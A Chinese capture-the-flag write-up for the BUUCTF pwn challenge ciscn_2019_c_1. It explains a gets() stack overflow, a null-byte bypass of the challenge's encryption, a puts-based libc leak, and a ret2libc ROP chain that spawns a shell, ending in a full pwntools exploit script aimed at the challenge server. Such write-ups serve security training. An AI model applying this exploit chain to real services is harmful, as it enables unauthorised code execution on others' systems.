Bootstrap

【BUUCTF-PWN】11-ciscn_2019_c_1

64位,开启了NX保护
在这里插入图片描述

执行效果如下:
在这里插入图片描述

main函数
在这里插入图片描述

encrypt()函数
gets()函数存在栈溢出,但是中间部分代码会对传入的字符串做加密处理
中间的部分是对字符串进行处理,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密
在这里插入图片描述

溢出距离为0x50+8
在这里插入图片描述

这里没有找到可用的后门函数,需要利用libc
在这里插入图片描述
在这里插入图片描述

思路参考:[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
这一类题目的基本做法
1、利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。
2、程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
3、得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令

溢出思路如下:buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客
首先应将s空间进行泄露,0x50+覆盖rdp的值,即 0x50+8 的数据量进行第一层覆盖
再利用pop_rdi;ret语句进行将下一层值推入寄存器rdi中作为参数,本次payload构建目的在于利用puts函数泄露本身的真实地址,从而获取Libc基址,所以将puts_got作为参数,运行函数地址为puts_plt,即用puts来打印出Puts_got的地址,最后再返回start函数重新运行,在后续中再次利用libc的基址找出system以及“bin/sh”的地址,从而构建第二次payload,要注意的是由于靶机是Ubuntu,所以要构建栈平衡,第二次payload需要加入ret。
在这里插入图片描述

ROPgadget 查找pop_rdi;ret地址:

ROPgadget  --binary ciscn_2019_c_1 --only "pop|ret"

或者:

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

在这里插入图片描述
在这里插入图片描述

ROPgadget 查找pop_rdi;ret地址:

ROPgadget  --binary ciscn_2019_c_1 --only "ret"

在这里插入图片描述

(1)利用gets()函数栈溢出,借助puts()函数将puts()的真实装载地址打印出来,利用LibcSearcher库得到libc版本

r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)   #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)          	#pop_rdi;ret地址
payload+=p64(puts_got)   		#设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt)   		#调用puts函数,输出的是puts的got表地址
payload+=p64(main)       		#设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
                        		#让它返回到main函数,这样我们才可以再一次利用输入点构造rop 

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))    	# 接收程序返回的地址
                                                  			# lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr)  			# 利用LibcSearcher模块找到匹配的libc版本        

(2)通过puts()实际装载地址和libc中函数地址差值算出偏移量,从而得到程序中其他函数(system、binsh)的地址

offset=puts_addr-libc.dump('puts')    	 #算出偏移量
binsh=offset+libc.dump('str_bin_sh')   	#偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

(3)构造ROP执行system(‘/bin/sh’)命令

payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret)                #   ret地址,为了构建栈平衡
payload+=p64(pop_rdi)            #   pop_rdi;ret地址
payload+=p64(binsh)              # /bin/sh的地址
payload+=p64(system)             # system的地址

总的exp如下:

from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',26531)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8, b'\0'))
print (hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload=b'\0'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

运行结果如下:
执行过程中会匹配到两个libc版本,这里分别手动选择两个都试一下
在这里插入图片描述

第一个libc会直接报错退出
在这里插入图片描述

第二个libc可以成功连接打通:(但好像不稳定,第一次连接后执行命令没反应,后面执行又没问题了)
在这里插入图片描述

关于pop_rdi;ret的解释
在这里插入图片描述

如何利用pop_rdi;ret构造ROP:
在这里插入图片描述
在这里插入图片描述

参考:
[BUUCTF]PWN6——ciscn_2019_c_1_bugkuctf-pwn题pwn6-CSDN博客
BUUCTF ciscn_2019_c_1 题解-CSDN博客
buuctf ciscn_2019_c_1 wp_buuf ciscn-2019-c-CSDN博客

;